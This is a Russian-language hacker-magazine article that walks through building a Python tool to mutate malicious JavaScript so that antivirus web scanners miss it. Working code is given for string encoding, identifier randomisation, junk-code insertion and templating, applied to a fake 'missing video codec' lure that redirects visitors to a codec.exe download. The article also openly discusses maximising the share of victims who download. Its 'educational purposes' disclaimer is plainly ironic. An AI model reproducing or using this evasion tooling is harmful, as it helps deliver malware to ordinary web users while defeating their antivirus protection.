Веб-модулю объявим мы войну!
Чтоб навсегда нам уничтожить тьму!

Антивирусное зло растет и ширится с каждым днем. Оно вовсю проникает в браузеры пользователей, препятствуя проникновению света правды на компьютеры пользователей ушастых. Что же делать? Способ есть!

 

О созданиях темной стороны силы

Веб-модуль Антивирусов Тьмы сейчас зачастую работает на двух уровнях – на сетевом и на уровне браузера. Первый уровень – это когда антивирус пропускает весь трафик на 80 порту через свои сигнатуры. Обход этого возможен через простое шифрование JavaScript’а тем же XOR’ом. Второй уровень работает через встраивание тулбаров во все браузеры. Это дает возможность тьме посылать на сигнатурный чек JavaScript после окончания его расшифровки в браузере и делает криптование бесполезным. Наиболее опасный тулбар антивирей – в Internet Explorer’е, поскольку он дает полный контроль над страницей. Кроме того, ко второму уровню относится эмуляция запуска скрипта внутри антивируса, но она на данный момент настолько примитивна и бажна, что мы о ней даже не будем разговаривать.

Для обхода обоих уровней нам нужно всего лишь каждый раз генерить достаточно уникальный JavaScript (ага, Капитан Очевидность). Именно это наш написанный морфер и будет делать :).

 

Начало войны

Чтобы написать свой морфер, мне пришлось перерыть много, очень много аналогов. Среди них были и слабые, которые лишь хексили строки… И были сильные, применяющие много разнообразных фишек криптования и морфирования, изменяющие скрипт до неузнаваемости. Но в то же время они существенно увеличивали размер JavaScript’а и при этом сильно тормозили его работу.

Применение первых в промышленных масштабах чревато быстрым «устареванием» морфера, в результате чего через неделю он уже не сможет сбивать сигнатуры. Вторые же из-за размера и тормознутости настолько снижают «конверт» (соотношения тех, кто просмотрел видеоролик, к тем, кто скачал кодек к нему), что их использование становится полностью нецелесообразно.

Мы же сделаем морфер, достаточно рандомизирующий, почти не увеличивающий размер, и не снижающий быстродействия. Кстати, перед прочтением нижеследующего текста я советую тебе немного отвлечься и прочитать врезку «Принцип работы морфера».

Для наглядности возьмем пример JavaScript’a, который будем по ходу статьи морфировать:

<script>
function go_codec(){
location.href = "http://server/codec.exe";
}
var message = "You don't have codec for video";
alert(message);

setTimeout( go_codec(), 1000);
</script>

 

Морфо-Строки

Первыми на крючок тьмы попадают строки. Простейший способ их морфирования заключается в случайной замене символов на hex-эквиваленты. Напишем на Python функцию, которая примет строку и возвратит ее заморфированный вариант:

import random
from string import letters

def morf_html_string(html):
rez = ''
for s in html:
if s in letters and random.choice([True, False, False, False]):
rez += "&#%s;" % ord(s)
else:
rez += s
return rez

Функция перебирает все символы, и если это буква (in letters), то с вероятностью 25% она заменяется hex-представлением. К примеру, из буквы «a» получится a. А из «You don’t have codec for video» получится что-то такое: «You don’t have codec for video».

Поскольку буквы заменяются случайным образом, сигнатуру на них не изобретешь. Улучшить морфирование можно, периодически разделяя строку символом «+» и используя String.fromCharCode (код):

vary a = "co"+"de"+String.fromCharCode(69)+"c";

 

Функции Добра

Следующим лакомым кусочком для антивирей (после строк) идут названия переменных и функций. Посмотри на наш примерный JavaScript, там же все равно будет называться функция go_codec. Главное, чтобы во всем тексте мы изменили ее значение на другое. Иначе говоря, наша задача – написать функцию, которая бы принимала строку конкретную и вместо нее возвращала строку случайную. Причем если мы уже сгенерировали, например, для go_codec что-то типа SDdsdsW, то теперь везде нужно заменять go_codec именно на это значение – SDdsdsW. Для хранения состояний переменных объявим объект с одной переменной словарем:

class G(object):
rand_var = {}

Это будет наше глобальное хранилище. Теперь функция замены имен переменных выглядит приблизительно так:

def rand_var(var):
if var in G.rand_var:
return G.rand_var[var]

G.rand_var[var] = generate_string(5, 10)
return G.rand_var[var]

В ней идет проверка; если строка есть в глобальном представлении, то функция возвратит значение оттуда. Если нет, сгенерирует случайную строку длиной от 5 до 10 символов, а результат сохранит в глобальной переменной для будущего использования.

Кстати, я же еще пропустил описание функции generate_string! Вот она:

def generate_string(start=5, end=7):
r = ''
for _ in xrange(random.randrange(start,end)):
r += random.choice(letters)
return r

И последний нужный элемент морфера – это генерация мусора, нужного, чтобы разбавить полезные конструкции случайными переменными, циклами или условиями.

Давай придумаем какие-то три мусорные конструкции. Мне нравятся такие:

var b="aaa";
if ("aaaa"=="sdsdsd") asdasdas();
function sfsf(){};

Для каждой из этих мусорных конструкций нужно написать функцию с именем get_el_номер, что-то типа такого:

def get_el_1():
return "var %s='%s';" % (
generate_string(4,6),
generate_string(4,6)
)

Функция замусоривания должна выбрать любую конструкцию (get_el_1, get_el_2 или get_el_3) и возвратить ее результат:

def random_js_element():
def get_el_1():
return "var %s='%s';" % (
generate_string(),
generate_string()
)

def get_el_2():
return "if ('%s'=='%s') %s();" % (
generate_string(),
generate_string(),
generate_string()
);

def get_el_3():
return "function %s(){}" % (
generate_string())

fnc = "get_el_%s"%random.randrange(1,4)

return locals()[fnc]()

Здесь все ясно, кроме собственно момента выбора. Для этого в предпоследней строке мы генерируем имя внутренней функции, а в последней строке вызываем выбранную функцию через обращение к ней из массива всех локальных переменных locals().

Чтобы посмотреть, какие мусорные конструкции мы получили, вызовем ее несколько раз:

>>> random_js_element()
'function aErfSA(){}'

>> random_js_element()
"if ('uHsJi'=='YvEwVNttta') pxQdHssd();"
>> random_js_element()
"var yrSfsdgS='OywZCvq';"

Согласись, что сложно будет среди этого мусора найти полезный код.

В принципе на этом программирование морфера почти закончилось. Нам остается лишь все это объединить. А для этого мы воспользуемся Template-движком из веб-фреймворка TornadoWeb.

from tornado.template import Template

template_js = "our_example_template"

js = Template(template_js).generate(
rand_var=rand_var,
morf_html_string=morf_html_string,
random_js_element=random_js_element
)

Здесь мы генерируем из шаблона (переменная template_js) морфированный JavaScript, передавая во внутренности шаблонизатора (объект Template) написанные функции морфирования.

Теперь преобразуем начальный JS в шаблон для морфера. В Tornado-шаблонах функции вызываются из двойных фигурных скобок. Вот такой шаблон получился:

<script>
{{ random_js_element() }}

function {{ rand_var(«go_codec») }}(){
location.href = «{{ morf_html_string(«http://server/codec.exe») }}»;
}

var {{ rand_var(«message») }} = «{{ morf_html_string(«You don’t have codec for video») }}»;
alert({{ rand_var(«message») }});

setTimeout( {{ rand_var(«go_codec») }}(), 1000);

{{ random_js_element() }}
</script>

Как видишь, тут я понаставил несколько вызовов функций генерации мусора {{ random_js_element() }} (на практике их нужно побольше). Кроме того, каждую переменную и функцию я заключил в rand_var — {{ rand_var(«go_codec») }}. А все использованные строки заморфировал {{ morf_html_string(«http://server/codec.exe») }}.

 

И вечный зов на вечный бой

Одно из преимуществ такого типа морфера – легкость расширения функционала, что очень поможет злобному кодеру в своих экспериментах. В качестве примера расширения можно привести возможность вставлять случайное количество JavaScript-пустышек:

def many_random_js(start=0, stop=5):
rez = ""
for _ in xrange(random.randrange(start, stop)):
rez += random_js_element()
return rez

Все это хозяйство теперь можно размещать в шаблонах – {{ many_random_js() }}.

Базовый функционал морфера закончен. Его плюсы: простота, небольшой размер заморфированного кода, легкость расширения. Но и минусы не обошли стороной, вернее, один минус – JavaScript-шаблон нужно создавать самим. Правда, его нам надо создавать однократно, так что это – проблема не большая.

Кстати, ты ведь понял, что написанный морфер нельзя использовать в противозаконных целях? Лично мы ничего такого не планировали и тебе не советуем. Мы чтим уголовный кодекс, а поэтому морфер этот мы используем для сбивания сигнатур с видеохостинга с «неизвестным кодеком». До скорой встречи.

PS:Спасибо большое жене Александре, которая не кормила меня до тех пор, пока я не сдал Лозовскому статью! (по-моему, это Лозовскому надо сказать спасибо за то, что он стимулировал вас всех… короче, просто всем спасибо и всех с новым годом – прим. Лозовского) :).

 

Принцип работы морфера

Самое сложное в написании морфера – это разбор исходного JavaScript’а. Это нетривиальная задача, для решения которой понадобятся отличные знания хотя бы простейших автоматов.

В нашем морфере ,чтобы убрать сложный этап синтаксического разбора, мы будем вручную маркировать исходный JavaScript приблизительно так:

{{ вставим мусорную конструкцию }}
var a = "{{ заморфировать строку("Привет Мир") }}"

В результате наш морфер, по сути, лишь в указанных местах будет просто вызывать нужные функции.

Таким образом, морфер получится простым и надежным.

 

Используемые функции Python’a

Из модуля random мы использовали функции randrange и choice. Первая выбирает случайное число, которое больше или равно start и меньше stop:

random.randrange(start, stop)

Вторая выбирает случайный элемент из входного списка. Эту конструкцию в морфере мы использовали, когда нужно было с какой-то вероятностью выполнить действие. К примеру, напечатаем строку с вероятностью 33%:

if random.choice([True, False, False]):
print "33.33333%"

Из модуля string мы импортировали список всех алфавитных символов для генерации случайных названий:

from string import letters

>> letters
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

Если у тебя в letters есть русские буквы (зависит от настроек), то лучше используй из этого модуля ascii_letters – в нем лишь английские буквы.

 

Хозяйке на заметку

Если антивирус повесил сигнатуру на вызов системной функции, которую сложно заморфировать, то вместо такой конструкции:

location.href = "http://codec/codec.exe";

Можно использовать:

var a = location;
a.href = "http://codec/codec.exe";
a["h"+"ref"] = "http://codec/codec.exe";

Или, на языке нашего морфера:

var {{ rand_var("location") }} = location;
{{ rand_var("location") }}["{{ morf_html_string("href") }} "] = "{{ morf_html_string("http://codec/codec.exe") }}";

 

Хозяйке на заметку, дубль 2

В статье специально не употребляются сложные конструкции из Python’а. Например, есть в модуле collections специальный словарь defaultdict, который сократил бы написанную функцию rand_var. В defaultdict при инициализации нужно передать функцию генерации начального названия. Далее он используется как обычный словарь:

>>> a = defaultdict(generate_string)

>> a["go_codec"]
dqQSfw
>> a["location"]
EdstEf
>> a["go_codec"]
dqQSfw

 

DVD

На нашем диске найдешь исходники морфера, тестируемый JavaScript и парочку примеров морфированного варианта.

 

VIDEO

Не пропусти на диске видео, в котором мы тестируем использование написанного скрипта.

 

WARNING

Информация в статье представлена в исключительно образовательных целях

 

WWW

Чтобы расширить свой морфер, бери идеи из аналогов:

Дока по TornadoWeb-шаблонизаторе, который мы использовали – http://www.tornadoweb.org/

 

Warning

Написание морфера – небанальная вещь благодаря Касперу с его тулбаром в Internet Explorer’е. Эта связка не раз заставляла мои мозги закипать. Хоть я и противник Каспера за его тормознутость, но разработчики веб-модуля – умные ребята. Респект им 🙂

Теги:

Оставить мнение

Check Also

Эксплоиты в десятку. Обзор самых интересных докладов с мировых ИБ-конференций

В последние годы мы отучились воспринимать Windows как нечто невероятно дырявое. Эта опера…